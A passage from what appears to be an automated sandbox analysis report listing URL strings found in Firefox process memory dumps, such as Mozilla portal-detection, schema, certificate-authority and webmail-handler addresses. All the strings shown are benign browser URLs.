Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000015.00000002.2905873141.00000259389E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938E83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3069720711.000001EF2CBA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000015.00000002.2892227537.00000259360B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000015.00000002.2921089355.000002593A997000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B76D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C858000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3096265421.000001EF2F781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000015.00000002.2920348338.000002593A89F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com0
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000015.00000002.2880770582.0000025933926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000015.00000002.2880770582.0000025933961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000015.00000002.2880770582.0000025933926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000015.00000002.2880770582.0000025933961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsp
Source: firefox.exe, 00000015.00000002.2880770582.0000025933926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000015.00000002.2879062103.0000025928303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000015.00000002.2963642951.00003172D3A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2910443758.0000025939483000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963642951.00003172D3A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963524052.00002F41F0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963405313.00002CE3A7F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0Branch
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2resource://gre/modules/Region.sys.mjs
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSizesecurity.certerrors.mitm.auto_enable_enterprise_roo
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabledhttp://mozilla.org/#/properties/h3GreaseEnabledchrome://glo
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnecthttp://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationresource://gre/modules/TaskScheduler.sys.mjs
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAllresource://gre/modules/Sqlite.sys.mjs
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000015.00000002.2963524052.00002F41F0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963405313.00002CE3A7F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0S
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/3Y
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963642951.00003172D3A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/:Y
Source: firefox.exe, 00000015.00000002.2963642951.00003172D3A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/GZ
Source: firefox.exe, 00000015.00000003.2770730622.00000259388DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2905131430.00000259388FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2920348338.000002593A855000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2790835142.00000259402C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2832165299.00000259412FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2912271172.0000025939714000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940310000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821943129.000002593ACE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2951042509.000002594149C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2960416889.0000025C0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2814866254.00000259397D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2920348338.000002593A89F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2929941467.000002593B6F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.00000259380FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2898849681.0000025938203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2912271172.00000259397A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821943129.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A95D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2831553568.00000259412DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000015.00000002.2963524052.00002F41F0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963405313.00002CE3A7F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/ucketZ
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000015.00000003.2821943129.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2880770582.00000259339DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000015.00000003.2821943129.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2880770582.00000259339DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000015.00000002.2894066055.0000025937812000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000015.00000002.2944981005.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000015.00000002.2894951579.0000025937D3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A6F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2905873141.0000025938947000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2881592543.0000025933AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A940000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2905873141.0000025938967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A478000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A94F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940346000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3082789823.000001EF2E4D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000015.00000003.2806581380.000002593A9D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A9D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2936356785.000002593FDA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2936356785.000002593FDA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000015.00000002.2921089355.000002593A997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000015.00000003.2816546786.000002594064C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
